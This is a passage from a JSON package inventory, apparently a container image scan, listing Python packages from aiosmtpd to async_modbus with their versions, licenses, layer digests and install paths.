"pkg:pypi/aiosmtpd@1.4.6", "UID": "5c6ac5f95c166a8" }, "Version": "1.4.6", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiosmtpd-1.4.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiosolaredge", "Identifier": { "PURL": "pkg:pypi/aiosolaredge@1.0.2", "UID": "73dfc75ac0c1a67e" }, "Version": "1.0.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiosolaredge-1.0.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiosqlite", "Identifier": { "PURL": "pkg:pypi/aiosqlite@0.21.0", "UID": "935d470f2a445a2e" }, "Version": "0.21.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiosqlite-0.21.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiosteamist", "Identifier": { "PURL": "pkg:pypi/aiosteamist@1.0.1", "UID": "e7cd4f3b95177527" }, "Version": "1.0.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiosteamist-1.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiostreammagic", "Identifier": { "PURL": "pkg:pypi/aiostreammagic@2.13.2", "UID": "7964282213ab493a" }, "Version": "2.13.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiostreammagic-2.13.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aioswitcher", "Identifier": { "PURL": "pkg:pypi/aioswitcher@6.1.1", "UID": "9310e0548f4ce0c8" }, "Version": "6.1.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aioswitcher-6.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiosyncthing", "Identifier": { "PURL": "pkg:pypi/aiosyncthing@0.7.1", "UID": "8c371bdf54bb5a7a" }, "Version": "0.7.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiosyncthing-0.7.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiotankerkoenig", "Identifier": { "PURL": "pkg:pypi/aiotankerkoenig@0.5.3", "UID": "3cd92519aa93fdf5" }, "Version": "0.5.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiotankerkoenig-0.5.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiotedee", "Identifier": { "PURL": "pkg:pypi/aiotedee@0.3.0", "UID": "e11f3ec02f7f8860" }, "Version": "0.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiotedee-0.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiotractive", "Identifier": { "PURL": "pkg:pypi/aiotractive@1.0.3", "UID": "ef0453cf69972a13" }, "Version": "1.0.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiotractive-1.0.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiounifi", "Identifier": { "PURL": "pkg:pypi/aiounifi@91", "UID": "72c286eddd96644e" }, "Version": "91", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiounifi-91.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiousbwatcher", "Identifier": { "PURL": "pkg:pypi/aiousbwatcher@1.1.2", "UID": "d5939d8110818203" }, "Version": "1.1.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiousbwatcher-1.1.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiovlc", "Identifier": { "PURL": "pkg:pypi/aiovlc@0.5.1", "UID": "cd55f0f620b7797d" }, "Version": "0.5.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiovlc-0.5.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiovodafone", "Identifier": { "PURL": "pkg:pypi/aiovodafone@3.3.0", "UID": "17f59e573c0b7397" }, "Version": "3.3.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiovodafone-3.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiowaqi", "Identifier": { "PURL": "pkg:pypi/aiowaqi@3.1.0", "UID": "6fe22fdb9e4f2512" }, "Version": "3.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiowaqi-3.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiowatttime", "Identifier": { "PURL": "pkg:pypi/aiowatttime@0.1.1", "UID": "750a521f3ef3661" }, "Version": "0.1.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiowatttime-0.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiowebdav2", "Identifier": { "PURL": "pkg:pypi/aiowebdav2@0.6.2", "UID": "6eba62a2269b2425" }, "Version": "0.6.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiowebdav2-0.6.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiowebostv", "Identifier": { "PURL": "pkg:pypi/aiowebostv@0.7.5", "UID": "463884899ecdcbe0" }, "Version": "0.7.5", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiowebostv-0.7.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiowithings", "Identifier": { "PURL": "pkg:pypi/aiowithings@3.1.6", "UID": "5a2e6c1c96762ca8" }, "Version": "3.1.6", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiowithings-3.1.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aioymaps", "Identifier": { "PURL": "pkg:pypi/aioymaps@1.2.5", "UID": "8d181a5f2e8c89df" }, "Version": "1.2.5", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aioymaps-1.2.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aiozoneinfo", "Identifier": { "PURL": "pkg:pypi/aiozoneinfo@0.2.3", "UID": "232229082fb838e1" }, "Version": "0.2.3", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/aiozoneinfo-0.2.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "airgradient", "Identifier": { "PURL": "pkg:pypi/airgradient@0.9.2", "UID": "10ca8f2869633829" }, "Version": "0.9.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/airgradient-0.9.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "airly", "Identifier": { "PURL": "pkg:pypi/airly@1.1.0", "UID": "9cb1e34d219d0413" }, "Version": "1.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/airly-1.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "airos", "Identifier": { "PURL": "pkg:pypi/airos@0.6.9", "UID": "19c958ef94039645" }, "Version": "0.6.9", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/airos-0.6.9.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "airpatrol", "Identifier": { "PURL": "pkg:pypi/airpatrol@0.1.0", "UID": "8b5a5f3a800b8cbf" }, "Version": "0.1.0", "Licenses": [ "text://MIT License Copyright (c) 2025 Anton Dalgren Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE." ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/airpatrol-0.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "airthings-ble", "Identifier": { "PURL": "pkg:pypi/airthings-ble@1.2.0", "UID": "4b371c7e004158d4" }, "Version": "1.2.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/airthings_ble-1.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "airthings_cloud", "Identifier": { "PURL": "pkg:pypi/airthings-cloud@0.2.0", "UID": "284b5b7ed6613450" }, "Version": "0.2.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/airthings_cloud-0.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "airtouch4pyapi", "Identifier": { "PURL": "pkg:pypi/airtouch4pyapi@1.0.5", "UID": "898f231eaad60b6d" }, "Version": "1.0.5", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/airtouch4pyapi-1.0.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "airtouch5py", "Identifier": { "PURL": "pkg:pypi/airtouch5py@0.4.0", "UID": "46b01e4c70cacdd7" }, "Version": "0.4.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/airtouch5py-0.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "alarmdecoder", "Identifier": { "PURL": "pkg:pypi/alarmdecoder@1.13.12", "UID": "1202a9e5107403dc" }, "Version": "1.13.12", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/alarmdecoder-1.13.12.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "alpha-vantage", "Identifier": { "PURL": "pkg:pypi/alpha-vantage@2.3.1", "UID": "2b3335ccc6744b06" }, "Version": "2.3.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/alpha_vantage-2.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "altruistclient", "Identifier": { "PURL": "pkg:pypi/altruistclient@0.1.1", "UID": "5506518e717e5cd5" }, "Version": "0.1.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/altruistclient-0.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "amberelectric", "Identifier": { "PURL": "pkg:pypi/amberelectric@2.0.12", "UID": "3a8a9bf744eae5bf" }, "Version": "2.0.12", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/amberelectric-2.0.12.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "amcrest", "Identifier": { "PURL": "pkg:pypi/amcrest@1.9.9", "UID": "3ff790404b48be5" }, "Version": "1.9.9", "Licenses": [ "GPL-2.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/amcrest-1.9.9.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "android-backup", "Identifier": { "PURL": "pkg:pypi/android-backup@0.2.0", "UID": "4dff2b9a922c1efa" }, "Version": "0.2.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/android_backup-0.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "androidtv", "Identifier": { "PURL": "pkg:pypi/androidtv@0.0.75", "UID": "e9b1bf3fa3e79454" }, "Version": "0.0.75", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/androidtv-0.0.75.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "androidtvremote2", "Identifier": { "PURL": "pkg:pypi/androidtvremote2@0.3.1", "UID": "50c2ff02cefbaf11" }, "Version": "0.3.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/androidtvremote2-0.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "anel-pwrctrl-homeassistant", "Identifier": { "PURL": "pkg:pypi/anel-pwrctrl-homeassistant@0.0.1.dev2", "UID": "843c43aa4fe1933c" }, "Version": "0.0.1.dev2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/anel_pwrctrl_homeassistant-0.0.1.dev2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "annotated-doc", "Identifier": { "PURL": "pkg:pypi/annotated-doc@0.0.4", "UID": "571ba7e56af16ea5" }, "Version": "0.0.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/annotated_doc-0.0.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "annotated-types", "Identifier": { "PURL": "pkg:pypi/annotated-types@0.7.0", "UID": "224d60a002b75da7" }, "Version": "0.7.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/annotated_types-0.7.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "annotatedyaml", "Identifier": { "PURL": "pkg:pypi/annotatedyaml@1.0.2", "UID": "663fab9700eeda8" }, "Version": "1.0.2", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/annotatedyaml-1.0.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "anova-wifi", "Identifier": { "PURL": "pkg:pypi/anova-wifi@0.17.1", "UID": "38c1e1e78247826a" }, "Version": "0.17.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/anova_wifi-0.17.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "anthemav", "Identifier": { "PURL": "pkg:pypi/anthemav@1.4.2", "UID": "7f462cadfa2dd99e" }, "Version": "1.4.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/anthemav-1.4.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "anthropic", "Identifier": { "PURL": "pkg:pypi/anthropic@0.108.0", "UID": "ec95a68f550ca440" }, "Version": "0.108.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/anthropic-0.108.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "anyio", "Identifier": { "PURL": "pkg:pypi/anyio@4.13.0", "UID": "90a07fee141f5733" }, "Version": "4.13.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/anyio-4.13.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "apischema", "Identifier": { "PURL": "pkg:pypi/apischema@0.19.0", "UID": "8059d5ab302b66b0" }, "Version": "0.19.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/apischema-0.19.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "appdirs", "Identifier": { "PURL": "pkg:pypi/appdirs@1.4.4", "UID": "5435eb25140c84dc" }, "Version": "1.4.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/appdirs-1.4.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "apple_weatherkit", "Identifier": { "PURL": "pkg:pypi/apple-weatherkit@1.1.3", "UID": "f34f41413684b3b0" }, "Version": "1.1.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/apple_weatherkit-1.1.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "apprise", "Identifier": { "PURL": "pkg:pypi/apprise@1.11.0", "UID": "ca2793a1cab0f40b" }, "Version": "1.11.0", "Licenses": [ "BSD-2-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/apprise-1.11.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aprslib", "Identifier": { "PURL": "pkg:pypi/aprslib@0.7.2", "UID": "a65eab90ae7fdeed" }, "Version": "0.7.2", "Licenses": [ "GPL-2.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aprslib-0.7.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "apsystems-ez1", "Identifier": { "PURL": "pkg:pypi/apsystems-ez1@2.7.0", "UID": "dd23a56900af0cfd" }, "Version": "2.7.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/apsystems_ez1-2.7.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aqipy-atmotech", "Identifier": { "PURL": "pkg:pypi/aqipy-atmotech@0.1.5", "UID": "a23e61fdbfa61749" }, "Version": "0.1.5", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aqipy_atmotech-0.1.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aqualogic", "Identifier": { "PURL": "pkg:pypi/aqualogic@2.6", "UID": "e9079d1daf22c08" }, "Version": "2.6", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aqualogic-2.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "aranet4", "Identifier": { "PURL": "pkg:pypi/aranet4@2.6.0", "UID": "7eb4c12564405565" }, "Version": "2.6.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/aranet4-2.6.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "arcam-fmj", "Identifier": { "PURL": "pkg:pypi/arcam-fmj@1.8.3", "UID": "e2866cf1c4eef3b5" }, "Version": "1.8.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/arcam_fmj-1.8.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "argcomplete", "Identifier": { "PURL": "pkg:pypi/argcomplete@3.7.0", "UID": "3a4ba6399cc368c5" }, "Version": "3.7.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/argcomplete-3.7.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "arris-tg2492lg", "Identifier": { "PURL": "pkg:pypi/arris-tg2492lg@2.2.0", "UID": "87cd875c4636129a" }, "Version": "2.2.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/arris_tg2492lg-2.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "arrow", "Identifier": { "PURL": "pkg:pypi/arrow@1.4.0", "UID": "76a971945e0bff22" }, "Version": "1.4.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/arrow-1.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "arwn-client", "Identifier": { "PURL": "pkg:pypi/arwn-client@0.2.1", "UID": "fcd704ca8c4ccaec" }, "Version": "0.2.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/arwn_client-0.2.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "asgiref", "Identifier": { "PURL": "pkg:pypi/asgiref@3.11.1", "UID": "3f3d16d4ab470a63" }, "Version": "3.11.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/asgiref-3.11.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "asn1", "Identifier": { "PURL": "pkg:pypi/asn1@3.3.0", "UID": "1f97c516ed8dd324" }, "Version": "3.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/asn1-3.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "asn1crypto", "Identifier": { "PURL": "pkg:pypi/asn1crypto@1.5.1", "UID": "4ca119f43c9ac342" }, "Version": "1.5.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/asn1crypto-1.5.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "astral", "Identifier": { "PURL": "pkg:pypi/astral@2.2", "UID": "f106e5f67643a24e" }, "Version": "2.2", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/astral-2.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "asusrouter", "Identifier": { "PURL": "pkg:pypi/asusrouter@1.21.3", "UID": "30f3b59a77746901" }, "Version": "1.21.3", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/asusrouter-1.21.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "async-timeout", "Identifier": { "PURL": "pkg:pypi/async-timeout@4.0.3", "UID": "54c506c1eea96748" }, "Version": "4.0.3", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/async_timeout-4.0.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "async_interrupt", "Identifier": { "PURL": "pkg:pypi/async-interrupt@1.2.2", "UID": "1da7d630c24aff0f" }, "Version": "1.2.2", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/async_interrupt-1.2.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "async_modbus", "Identifier": { "PURL": "pkg:pypi/async-modbus@0.2.3", "UID": "ecf6938b743d257c" }, "Version": "0.2.3", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": 